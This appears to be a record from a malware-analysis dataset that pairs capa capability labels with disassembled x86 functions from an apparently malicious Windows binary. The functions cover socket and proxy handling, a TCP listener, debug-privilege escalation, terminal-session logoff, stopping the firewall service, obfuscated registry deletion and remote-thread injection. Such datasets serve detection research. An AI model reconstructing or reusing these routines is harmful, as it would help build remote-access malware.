joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4219e0
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x18
push 0x51dad4
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
mov dword [esp + 4], eax
je 0x421a94
push ebx
mov ebx, dword [esp + 0x20]
push ebp
push esi
push edi
mov dword [esp + 0x10], 0
mov ecx, dword [eax + 0xc]
mov edx, dword [esp + 0x10]
cmp dword [ecx + edx], 0
je 0x421a9c
xor edx, edx
mov byte [ebx], 0
cmp word [eax + 0xa], dx
jle 0x421a8a
test edx, edx
jle 0x421a54
mov edi, 0x50c58c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x14]
mov ecx, ebp
and ecx, 3
inc edx
rep movsb byte es:[edi], byte [esi]
movsx ecx, word [eax + 0xa]
cmp edx, ecx
jl 0x421a26
add dword [esp + 0x10], 4
jmp 0x421a0a
mov eax, dword [esp + 0x1c]
add esp, 0x18
ret
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret

Function at 0x421ab0
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x421ac0
ret
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
ret

Function at 0x421cc0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
sub esp, 0x10
mov ecx, dword [esp + 0x1c]
xor eax, eax
mov dword [esp], eax
push esi
mov dword [esp + 8], eax
push edi
mov dword [esp + 0x10], eax
push ecx
mov dword [esp + 0x18], eax
mov word [esp + 0xc], 2
call dword [sym.imp.WS2_32.dll_htons]
mov esi, dword [esp + 0x20]
mov edi, dword [sym.imp.WS2_32.dll_inet_addr]
push esi
mov word [esp + 0xe], ax
call edi
cmp eax, 0xffffffff
push esi
jne 0x421d17
call fcn.00421ab0
add esp, 4
test eax, eax
je 0x421d72
push esi
call fcn.00421ab0
add esp, 4
push eax
call edi
push 6
push 1
push 2
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [esp + 0x1c]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x421d72
lea edx, [esp + 0x24]
push 4
push edx
push 0x1006
push 0xffff
push eax
mov dword [esp + 0x38], 0x258
call dword [sym.imp.WS2_32.dll_setsockopt]
mov ecx, dword [esi]
lea eax, [esp + 8]
push 0x10
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x421d7a
mov edx, dword [esi]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret
pop edi
mov eax, 1
pop esi
add esp, 0x10
ret
Function at 0x421d90
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0x10]
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x10]
push ebx
push esi
push edi
call fcn.004217e0
add esp, 0xc
test eax, eax
je 0x421e37
cmp eax, 4
jne 0x421dd8
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
push eax
push ecx
push 2
push ebx
push esi
call fcn.00421ad0
add esp, 0x14
neg eax
sbb eax, eax
pop edi
pop esi
and eax, 4
pop ebx
ret
mov edx, dword [edi]
push 0
push 0x2000
push esi
push edx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x421e37
test eax, eax
je 0x421e37
cmp byte [esi], 5
jne 0x421e37
mov cl, byte [esi + 3]
cmp cl, 1
je 0x421e04
cmp cl, 3
jne 0x421e37
mov edx, dword [esp + 0x20]
and ecx, 0xff
push edx
mov edx, dword [esp + 0x20]
push edx
push ecx
push eax
push esi
call fcn.00421ad0
add esp, 0x14
test eax, eax
je 0x421e37
mov al, byte [esi + 1]
cmp al, 1
je 0x421e2e
cmp al, 3
jne 0x421e37
pop edi
pop esi
and eax, 0xff
pop ebx
ret
pop edi
pop esi
xor eax, eax
pop ebx
ret

Function at 0x421e40
Capabilities:
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x124
xor eax, eax
push esi
mov dword [esp + 8], eax
push 0x11
mov dword [esp + 0x10], eax
push 2
mov dword [esp + 0x18], eax
push 2
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x10
mov word [esp + 0x24], 2
mov dword [esp + 0x28], eax
mov word [esp + 0x26], ax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x421e8e
xor eax, eax
pop esi
add esp, 0x124
ret
lea ecx, [esp + 0x18]
push 0x10
push ecx
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x421eab
xor eax, eax
pop esi
add esp, 0x124
ret
mov edx, dword [esp + 0x130]
lea eax, [esp + 4]
lea ecx, [esp + 8]
push eax
push ecx
push esi
mov dword [edx], esi
call dword [sym.imp.WS2_32.dll_getsockname]
lea edx, [esp + 0x28]
push edx
call fcn.004219e0
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [esp + 0x12c]
pop esi
mov dword [ecx + 4], eax
mov ax, word [esp + 6]
mov word [ecx + 8], ax
mov eax, 1
add esp, 0x124
ret
Function at 0x422200
Capabilities:
Create tcp socket
Create thread
Initialize winsock library
Start tcp server

Disassembly:
sub esp, 0x1a4
lea eax, [esp + 0x14]
push edi
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x4222ee
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x4222ee
mov dx, word [0x51ebb0]
xor ecx, ecx
mov dword [esp + 6], ecx
push edx
mov dword [esp + 0xe], ecx
mov word [esp + 8], 2
mov dword [esp + 0x12], ecx
mov word [esp + 0x16], cx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 6], ax
lea eax, [esp + 4]
push 0x10
push eax
push edi
mov dword [esp + 0x14], 0
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x4222ee
push ebx
push ebp
push esi
push 0x32
push edi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x42229c
pop esi
pop ebp
pop ebx
xor eax, eax
pop edi
add esp, 0x1a4
ret
mov ebx, dword [sym.imp.WS2_32.dll_accept]
mov ebp, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push edi
call ebx
push 8
mov esi, eax
call fcn.0042cf07
add esp, 4
test eax, eax
je 0x4222a8
lea ecx, [esp + 0x20]
mov dword [eax], esi
push ecx
push 0
push eax
push 0x421f00
push 0
push 0
call ebp
test eax, eax
jne 0x4222e5
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4222a8
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4222a8
xor eax, eax
pop edi
add esp, 0x1a4
ret

Function at 0x4224a0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
xor edi, edi
test esi, esi
jle 0x4224db
mov ebx, dword [esp + 0x24]
mov ebp, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
push ebx
push ebp
push 0
lea ecx, [edi + eax]
push esi
push ecx
push edx
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x4224e2
sub esi, eax
add edi, eax
test esi, esi
jg 0x4224b6
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret

Function at 0x4231bf
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
push esi
push edi
push 1
mov ebp, ecx
push str.SeDebugPrivilege
call fcn.00419b70
mov edi, dword [esp + 0x1c]
add esp, 8
xor esi, esi
test edi, edi
jbe 0x4231b8
push ebx
mov ebx, dword [esp + 0x14]
mov eax, dword [esi + ebx]
push 0
push eax
push 0
call sub.WTSAPI32.dll_WTSLogoffSession
add esi, 4
cmp esi, edi
jb 0x4231a3
pop ebx
mov ecx, ebp
call fcn.004238e0
push 0
push str.SeDebugPrivilege
call fcn.00419b70
add esp, 8
pop edi
pop esi
pop ebp
ret 8

Function at 0x42321f
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
push esi
push edi
push 1
mov ebp, ecx
push str.SeDebugPrivilege
call fcn.00419b70
mov edi, dword [esp + 0x1c]
add esp, 8
xor esi, esi
test edi, edi
jbe 0x423218
push ebx
mov ebx, dword [esp + 0x14]
mov eax, dword [esi + ebx]
push 0
push eax
push 0
call sub.WTSAPI32.dll_WTSDisconnectSession
add esi, 4
cmp esi, edi
jb 0x423203
pop ebx
mov ecx, ebp
call fcn.004238e0
push 0
push str.SeDebugPrivilege
call fcn.00419b70
add esp, 8
pop edi
pop esi
pop ebp
ret 8
Function at 0x423240
Capabilities:
Get session information

Disassembly:
sub esp, 8
lea ecx, [esp + 4]
lea edx, [esp]
push ecx
mov ecx, dword [esp + 0x10]
push edx
xor eax, eax
push 0xa
push ecx
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
mov eax, dword [esp]
jne 0x423270
mov eax, dword [esp + 0xc]
add esp, 8
ret 4

Function at 0x423280
Capabilities:
Get session information
Get session user name

Disassembly:
sub esp, 0x30c
mov edx, dword [esp + 0x310]
lea eax, [esp + 4]
lea ecx, [esp]
push eax
push ecx
push 5
push edx
push 0
mov dword [esp + 0x14], 0
call sub.WTSAPI32.dll_WTSQuerySessionInformationW
test eax, eax
jne 0x4232b6
xor al, al
add esp, 0x30c
ret
mov eax, dword [esp]
push edi
lea ecx, [esp + 0x110]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edx, dword [esp + 4]
push edx
call sub.WTSAPI32.dll_WTSFreeMemory
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0
push 0
lea eax, [esp + 0x14]
push 0x104
push eax
lea ecx, [esp + 0x120]
push 0xffffffffffffffff
push ecx
push 0x200
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [esp + 0x318]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov al, 1
pop edi
add esp, 0x30c
ret

Function at 0x423330
Capabilities:
Get session information

Disassembly:
sub esp, 8
mov edx, dword [esp + 0xc]
lea eax, [esp + 4]
push esi
lea ecx, [esp + 4]
push eax
push ecx
xor esi, esi
push 0x10
push edx
push esi
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x4233b9
mov ecx, dword [esp + 4]
movsx eax, byte [ecx]
sub eax, esi
je 0x423392
dec eax
je 0x42337e
dec eax
jne 0x4233a6
push ecx
mov esi, 0x50f110
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret 4
push ecx
mov esi, 0x50f10c
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret 4
push ecx
mov esi, str.Console
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret 4
mov esi, dword [esp + 0x10]
push ecx
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret 4
mov eax, dword [esp + 0x10]
pop esi
add esp, 8
ret 4

Function at 0x4239a0
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x40
push esi
push edi
push 0x14
call fcn.004a2adf
mov esi, eax
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0xc]
add esp, 4
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, 0x14
call fcn.0042d8f0
add eax, 1
adc edx, 0
push edx
push eax
push 0x50f168
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov eax, esi
pop edi
pop esi
add esp, 0x40
ret
Function at 0x423ad0
Capabilities:
List groups for user account

Disassembly:
sub esp, 0x310
push ebx
push ebp
push esi
push edi
xor esi, esi
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x122]
mov word [esp + 0x120], si
mov byte [esp + 0x20], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x21]
push 0x100
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x328]
lea ecx, [esp + 0x124]
push eax
push ecx
mov dword [esp + 0x24], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x28], esi
call fcn.0042e420
add esp, 0xc
lea edx, [esp + 0x1c]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x18]
push edx
push eax
push 0xffffffffffffffff
push ecx
push 1
lea edx, [esp + 0x134]
push esi
push edx
push esi
call sub.NETAPI32.dll_NetUserGetLocalGroups
test eax, eax
jne 0x423c18
mov ebp, dword [esp + 0x18]
cmp ebp, esi
je 0x423c18
mov eax, dword [esp + 0x10]
mov dword [esp + 0x14], esi
cmp eax, esi
jbe 0x423c18
mov ebx, dword [esp + 0x328]
jmp 0x423b85
xor esi, esi
cmp ebp, esi
je 0x423c18
mov eax, dword [ebp]
push eax
call fcn.0042cd60
inc eax
push eax
call fcn.0042cf07
mov ecx, dword [ebp]
mov esi, eax
push ecx
push 0x50f16c
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x100
lea edx, [esp + 0x38]
push esi
push edx
call fcn.0042dc60
push esi
call fcn.0042ce1e
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
add esp, 0x24
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x20]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
test edx, edx
je 0x423beb
mov byte [edx + ebx], 0x2f
inc edx
xor eax, eax
test ecx, ecx
jle 0x423c00
lea esi, [edx + ebx]
mov dl, byte [esp + eax + 0x20]
mov byte [esi + eax], dl
inc eax
cmp eax, ecx
jl 0x423bf4
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
add ebp, 4
inc eax
cmp eax, ecx
mov dword [esp + 0x14], eax
jb 0x423b83
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x310
ret
Function at 0x423f20
Capabilities:
Contain obfuscated stackstrings
Delete registry key

Disassembly:
sub esp, 0x2c
or ecx, 0xffffffff
xor eax, eax
push esi
push edi
mov edi, str.00000
mov esi, dword [esp + 0x38]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.00000
push esi
call fcn.0042d050
add esp, 0xc
test eax, eax
push esi
jne 0x423f58
lea eax, [esp + 0xc]
push 0x50db70
push eax
jmp 0x423f62
lea ecx, [esp + 0xc]
push str.00000_s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
mov dl, 0x41
mov al, 0x5c
mov byte [esp + 0x21], dl
mov byte [esp + 0x25], dl
mov byte [esp + 0x30], dl
mov dl, 0x63
add esp, 0xc
mov byte [esp + 0x25], dl
mov byte [esp + 0x26], dl
mov cl, 0x4d
mov byte [esp + 0x17], al
mov byte [esp + 0x1b], al
mov byte [esp + 0x23], al
mov byte [esp + 0x2b], al
mov byte [esp + 0x31], al
lea edx, [esp + 0x38]
lea eax, [esp + 0x14]
mov byte [esp + 0x16], cl
mov byte [esp + 0x1a], cl
push edx
mov cl, 0x73
push eax
push reloc.WS2_32.dll_bind
mov byte [esp + 0x20], 0x53
mov byte [esp + 0x24], 0x53
mov byte [esp + 0x28], 0x44
mov byte [esp + 0x29], 0x6f
mov byte [esp + 0x2a], 0x6d
mov byte [esp + 0x2b], 0x61
mov byte [esp + 0x2c], 0x69
mov byte [esp + 0x2d], 0x6e
mov byte [esp + 0x2e], cl
mov byte [esp + 0x33], 0x6f
mov byte [esp + 0x34], 0x75
mov byte [esp + 0x35], 0x6e
mov byte [esp + 0x36], 0x74
mov byte [esp + 0x38], 0x55
mov byte [esp + 0x39], cl
mov byte [esp + 0x3a], 0x65
mov byte [esp + 0x3b], 0x72
mov byte [esp + 0x3c], cl
mov byte [esp + 0x3e], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x424024
pop edi
xor eax, eax
pop esi
add esp, 0x2c
ret 4
mov edx, dword [esp + 0x38]
lea ecx, [esp + 8]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, eax
mov eax, dword [esp + 0x38]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
test esi, esi
sete al
pop esi
add esp, 0x2c
ret 4
Function at 0x424130
Capabilities:
Contain obfuscated stackstrings
Delete registry key

Disassembly:
sub esp, 0x54
push ebx
push esi
mov esi, ecx
mov bl, 0x53
mov cl, 0x4d
mov dl, 0x41
mov al, 0x5c
mov byte [esp + 0xe], cl
mov byte [esp + 0x12], cl
mov byte [esp + 0xc], bl
mov byte [esp + 0xd], dl
mov byte [esp + 0xf], al
mov byte [esp + 0x10], bl
mov byte [esp + 0x11], dl
mov byte [esp + 0x13], al
mov cl, 0x73
mov byte [esp + 0x1b], al
mov byte [esp + 0x1c], dl
mov byte [esp + 0x23], al
mov byte [esp + 0x29], al
mov byte [esp + 0x2f], al
mov eax, dword [esp + 0x60]
mov bl, 0x6e
mov dl, 0x63
mov byte [esp + 0x1a], cl
mov byte [esp + 0x25], cl
mov byte [esp + 0x28], cl
mov byte [esp + 0x2e], cl
mov byte [esp + 0x19], bl
mov byte [esp + 0x1d], dl
mov byte [esp + 0x1e], dl
mov byte [esp + 0x21], bl
push eax
lea ecx, [esp + 0x38]
mov dl, 0x65
xor ebx, ebx
push 0x50db70
push ecx
mov byte [esp + 0x20], 0x44
mov byte [esp + 0x21], 0x6f
mov byte [esp + 0x22], 0x6d
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x24], 0x69
mov byte [esp + 0x2b], 0x6f
mov byte [esp + 0x2c], 0x75
mov byte [esp + 0x2e], 0x74
mov byte [esp + 0x30], 0x55
mov byte [esp + 0x32], dl
mov byte [esp + 0x33], 0x72
mov byte [esp + 0x36], 0x4e
mov byte [esp + 0x37], 0x61
mov byte [esp + 0x38], 0x6d
mov byte [esp + 0x39], dl
mov byte [esp + 0x3c], bl
mov byte [esp + 0x17], bl
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x60]
lea eax, [esp + 0xc]
push edx
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x424229
pop esi
xor eax, eax
pop ebx
add esp, 0x54
ret 4
mov edx, dword [esp + 0x60]
lea ecx, [esp + 0x34]
push edi
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov edi, eax
mov eax, dword [esp + 0x64]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp edi, ebx
lea edx, [esp + 0xf]
setne cl
add ecx, 0x9b
push 1
mov byte [esp + 0x13], cl
push edx
mov ecx, esi
call fcn.0040f340
lea eax, [esp + 0xf]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x54
ret 4

Function at 0x424530
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x40
push esi
push edi
push 0x14
call fcn.004a2adf
mov esi, eax
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0xc]
add esp, 4
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, 0x14
call fcn.0042d8f0
add eax, 1
adc edx, 0
push edx
push eax
push 0x50f168
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov eax, esi
pop edi
pop esi
add esp, 0x40
ret
Function at 0x425150
Capabilities:
Acquire debug privileges
Query service status
Stop service

Disassembly:
sub esp, 0x1c
push esi
push edi
push 1
push str.SeDebugPrivilege
call fcn.00419b70
add esp, 8
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
push 0xf01ff
push str.sharedaccess
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
lea eax, [esp + 8]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [esp + 0xc], 1
je 0x4251a9
lea ecx, [esp + 8]
push ecx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
push 0
push str.SeDebugPrivilege
call fcn.00419b70
add esp, 8
mov eax, 1
pop edi
pop esi
add esp, 0x1c
ret

Function at 0x4254f0
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
sub esp, 0x20c
push ebx
lea eax, [esp + 8]
push str._termsrv_t.dll
mov dword [esp + 8], ecx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
lea ecx, [esp + 0x10c]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esp + 8]
lea eax, [esp + 0x10c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x400
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esp + 0x10c]
mov ebx, eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x425568
lea edx, [esp + 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
jne 0x4255c0
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
lea eax, [esp + 0x10]
push edi
push eax
mov byte [ebx], 0x9f
call ebp
lea ecx, [eax + eax + 2]
lea esi, [esp + 0x14]
mov edx, ecx
lea edi, [ebx + 1]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call ebp
lea esi, [eax + eax + 3]
push 0x42
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ecx, dword [esp + 0x10]
mov edi, eax
push esi
push edi
call fcn.0040f340
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20c
ret

Function at 0x425680
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
lea eax, [esp]
mov dword [esp], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 4], 5
jne 0x4256ad
mov ecx, dword [esp + 8]
mov eax, 1
cmp ecx, eax
je 0x4256af
xor eax, eax
add esp, 0x9c
ret
Function at 0x425710
Capabilities:
Enumerate process modules

Disassembly:
sub esp, 0x224
push ebx
push ebp
push esi
push edi
xor ebp, ebp
mov ecx, 0x88
xor eax, eax
lea edi, [esp + 0x14]
mov dword [esp + 0x10], ebp
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x238]
push eax
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [esp + 0x10]
mov esi, eax
push ecx
push esi
mov dword [esp + 0x18], 0x224
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x425793
mov edi, dword [esp + 0x23c]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea edx, [esp + 0x130]
push edi
push edx
call ebx
test eax, eax
je 0x42578f
lea eax, [esp + 0x10]
push eax
push esi
call sub.KERNEL32.dll_Module32Next
test eax, eax
je 0x425793
lea ecx, [esp + 0x130]
push edi
push ecx
call ebx
test eax, eax
jne 0x425771
mov ebp, dword [esp + 0x2c]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x224
ret

Function at 0x4257b0
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
sub esp, 0x1c
push esi
mov esi, dword [esp + 0x28]
test esi, esi
push edi
jne 0x4257c5
pop edi
xor al, al
pop esi
add esp, 0x1c
ret
mov eax, dword [esp + 0x28]
push eax
push 0
push 0x2a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x4257e2
pop edi
xor al, al
pop esi
add esp, 0x1c
ret
mov cl, 0x65
mov al, 0x72
mov byte [esp + 0x15], cl
mov byte [esp + 0x18], cl
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], cl
lea ecx, [esp + 0x14]
mov dl, 0x6c
push ecx
mov byte [esp + 0x18], 0x6b
mov byte [esp + 0x1a], al
mov byte [esp + 0x1b], 0x6e
mov byte [esp + 0x1d], dl
mov byte [esp + 0x1e], 0x33
mov byte [esp + 0x1f], 0x32
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x21], 0x64
mov byte [esp + 0x22], dl
mov byte [esp + 0x23], dl
mov byte [esp + 0x24], 0
mov byte [esp + 0xc], 0x46
mov byte [esp + 0xd], al
mov byte [esp + 0x10], 0x4c
mov byte [esp + 0x11], 0x69
mov byte [esp + 0x12], 0x62
mov byte [esp + 0x13], al
mov byte [esp + 0x14], 0x61
mov byte [esp + 0x15], al
mov byte [esp + 0x16], 0x79
mov byte [esp + 0x17], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea edx, [esp + 8]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push esi
push eax
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
test esi, esi
jne 0x425897
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor al, al
pop esi
add esp, 0x1c
ret
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push esi
call edi
pop edi
mov al, 1
pop esi
add esp, 0x1c
ret